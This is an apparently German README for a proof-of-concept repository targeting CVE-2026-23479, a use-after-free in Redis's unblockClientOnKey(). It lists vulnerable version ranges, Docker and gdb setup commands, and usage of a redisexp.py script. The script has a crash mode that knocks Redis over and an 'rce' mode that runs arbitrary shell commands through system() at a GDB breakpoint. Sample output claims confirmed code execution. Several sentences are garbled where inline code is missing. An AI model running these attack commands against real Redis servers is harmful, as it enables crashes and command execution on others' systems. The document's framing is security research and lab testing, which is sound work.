
Proof of Concept mit GDB-gestützter Exploitation (nur für Bildungs-/Laborzwecke)
Use-After-Free in Redis
unblockClientOnKey()führt zu Remote Code Execution
Proof of Concept mit GDB-unterstützter Ausnutzung (nur zu Bildungs-/Laborzwecken)
CVE-2026-23479 ist eine kritische Use-After-Free (UAF)-Schwachstelle in Redis-Versionen 7.2.0 bis 8.6.2.
Der Fehler liegt in der Funktion unblockClientOnKey(), die aufruft.
Wenn der Client während dieses Aufrufs freigegeben wird (z. B. durch Eviction), arbeitet der Aufrufer weiterhin mit einem Dangling Pointer → .
Ein Angreifer, der den Heap nach der Freigabe gezielt formen kann, könnte .
processCommandAndResetClient()Dieses Repository bietet ein GDB-gestütztes PoC, das:
freeClient()-Aufruf)system()-Aufruf injiziert wird⚠️ Wichtig: Dies ist kein einsatzfähiger Exploit. Er verwendet GDB in einem privilegierten Docker-Container, um zu simulieren, was ein echter Angreifer nach erfolgreicher Ausnutzung der UAF erreichen könnte.
Verwenden Sie es nur in Ihrem eigenen Labor oder auf Systemen, für die Sie eine ausdrückliche Testfreigabe haben.
crash, gdb, rce, full--container angebenXREAD BLOCK-Befehl lässt den Client auf Stream-Daten warten.pid 1) im Container an.processCommandAndResetClient – die Funktion, die aufgerufen wird, wenn der blockierte Client erneut verarbeitet wird.XADD auf demselben Stream weckt das Opfer.gdb-Modus: ruft freeClient($rdi) auf → verursacht absichtlich eine SIGSEGV → beweist die UAF.rce-Modus: ruft system("your command") auf → führt beliebige Shell-Befehle als Redis-Benutzer aus (standardmäßig root).Der Breakpoint feuert jedes Mal, wenn ein blockierter Client entblockt wird, und zeigt, dass derselbe Codepfad, der die UAF enthält, auch Codeausführung ermöglicht.
| Branch | Verwundbarer Bereich |
|---|---|
| 7.2 | 7.2.0 – 7.2.13 |
| 7.4 | 7.4.0 – 7.4.8 |
| 8.2 | 8.2.0 – 8.2.5 |
| 8.4 | 8.4.0 – 8.4.2 |
| 8.6 | 8.6.0 – 8.6.2 |
Das Skript parst automatisch die Redis-Version und meldet, ob sie verwundbar ist.
apt verwendet (z. B. das offizielle redis:8.6.2)--privileged erstellt werden (erforderlich für ptrace)git clone https://github.com/YOUR_USERNAME/CVE-2026-23479-PoC.git
cd CVE-2026-23479-PoC
docker run -d --name redis-vuln-local --privileged -p 6379:6379 \
redis:8.6.2 redis-server --protected-mode no
docker exec -u root redis-vuln-local bash -c "
apt-get update && apt-get install -y gdb binutils procps
"
docker exec redis-vuln-local gdb --version
redis-cli -h 127.0.0.1 -p 6379 ping # should return PONG
python3 redisexp.py <target> -p <port> -m <mode> --container <name> [--cmd "command"]
| Modus | Beschreibung |
|---|---|
crash | Versucht, die UAF über Speicherdruck auszulösen (kein GDB erforderlich). Redis kann abstürzen, dies ist jedoch nicht garantiert. |
gdb | GDB anhängen und freeClient() am Breakpoint aufrufen → erzwingt eine SIGSEGV (beweist die UAF). |
rce | GDB anhängen und system(cmd) am Breakpoint aufrufen → führt einen Shell-Befehl im Container aus. |
full | Zuerst crash ausführen; falls Redis nicht abstürzt, auf gdb zurückgreifen. |
| Argument | Standard | Beschreibung |
|---|---|---|
target | (erforderlich) | IP-Adresse des Redis-Servers |
-p, --port | 6379 | Redis-Port |
-m, --mode | full | Einer von crash, gdb, rce, full |
--container | env-redis-vuln-1 | Docker-Containername |
--cmd | id > /tmp/pwned_by_cve | Befehl, der im rce-Modus ausgeführt werden soll |
Hinweis: Alle Befehle werden von der Host-Maschine ausgeführt, nicht im Docker-Container.
python3 redisexp.py 127.0.0.1 -p 6379 -m gdb --container redis-vuln-local
[+] Victim blocked on XREAD
[+] GDB script deployed
[*] Triggering unblock via XADD...
[+] SIGSEGV in processCommand after freeClient()
[+] This confirms the UAF code path in unblockClientOnKey()
Redis wird nach dem Segmentation Fault abstürzen.
Container neu starten:
docker start redis-vuln-local
Starten Sie Redis neu, um einen sauberen Zustand sicherzustellen:
docker restart redis-vuln-local
Exploit ausführen:
python3 redisexp.py 127.0.0.1 -p 6379 -m rce \
--cmd "touch /tmp/pwned" \
--container redis-vuln-local
Beweisdatei überprüfen:
docker exec redis-vuln-local ls -l /tmp/pwned
Bei Erfolg existiert die Datei, was beweist, dass:
system("touch /tmp/pwned");
im Redis-Container ausgeführt wurde.
python3 redisexp.py 127.0.0.1 -p 6379 -m crash --container redis-vuln-local
Wenn Redis unerwartet beendet wird (der Container läuft nicht mehr), wurde die UAF wahrscheinlich ausgelöst.
Starten Sie ihn neu mit:
docker start redis-vuln-local
python3 redisexp.py 127.0.0.1 -p 6379 -m full --container redis-vuln-local
Dieser Modus:
============================================================
CVE-2026-23479 Redis UAF Exploit PoC
============================================================
[*] Target: 127.0.0.1:6379
[*] Version: 8.6.2
[+] VULNERABLE
[*] Method: RCE via UAF code path injection
Exploits CVE-2026-23479 UAF in unblockClientOnKey()
Breakpoint on processCommandAndResetClient -> system()
Command: touch /tmp/pwned
[+] Victim blocked on XREAD
Successfully copied 2.05kB to redis-vuln-local:/tmp/cve_rce.gdb
[+] GDB RCE script deployed
[+] GDB attached, breakpoint active
[*] Triggering unblock via XADD...
[*] Checking for RCE evidence in /tmp/pwned...
[+] RCE CONFIRMED! Proof file /tmp/pwned created.
[+] Redis alive after exploit
============================================================
Results
============================================================
Target: 127.0.0.1:6379
Version: 8.6.2
Vulnerable: YES
RCE: CONFIRMED (arbitrary command execution)
============================================================
Das ursprüngliche PoC war hartcodiert auf einen Container namens env-redis-vuln-1 und enthielt mehrere Probleme bei der Ausführung mit neueren Python-Versionen.
Die aktualisierte Version führt die folgenden Verbesserungen ein:
| Problem | Lösung |
|---|---|
| Fester Containername | Das Argument --container hinzugefügt und durch alle Funktionen durchgereicht. |
file-Befehl im commands-Block des GDB-Skripts platziert | file /usr/local/bin/redis-server vor attach verschoben, damit GDB Symbole korrekt lädt. |
subprocess.run() mit sowohl capture_output=True als auch stderr=... verwendet | Ersetzt durch stdout=subprocess.DEVNULL und stderr=subprocess.DEVNULL. |
Veraltete GDB-Prozesse, die ptrace: Operation not permitted verursachen | pkill -9 gdb vor dem Start von GDB in sowohl trigger_uaf_gdb() als auch trigger_rce() hinzugefügt. |
| Keine Rückmeldung, wenn GDB stillschweigend fehlschlug | Debug-Logging für die GDB-Ausgabe hinzugefügt und die Erkennung der Beweisdatei verbessert. |
docker stop redis-vuln-local
docker rm redis-vuln-local
Dieses Tool ist ausschließlich für Bildungszwecke, autorisierte Sicherheitsforschung und das Testen von Systemen bestimmt, die Ihnen gehören oder für die Sie eine ausdrückliche Berechtigung zur Prüfung haben.
Der Autor billigt keine unbefugte oder böswillige Nutzung und ermutigt auch nicht dazu.
Holen Sie stets eine ordnungsgemäße Genehmigung ein, bevor Sie Produktions- oder Drittsysteme testen.
Mit ❤️ für die Sicherheits-Community erstellt.
Bleiben Sie ethisch. Bleiben Sie sicher.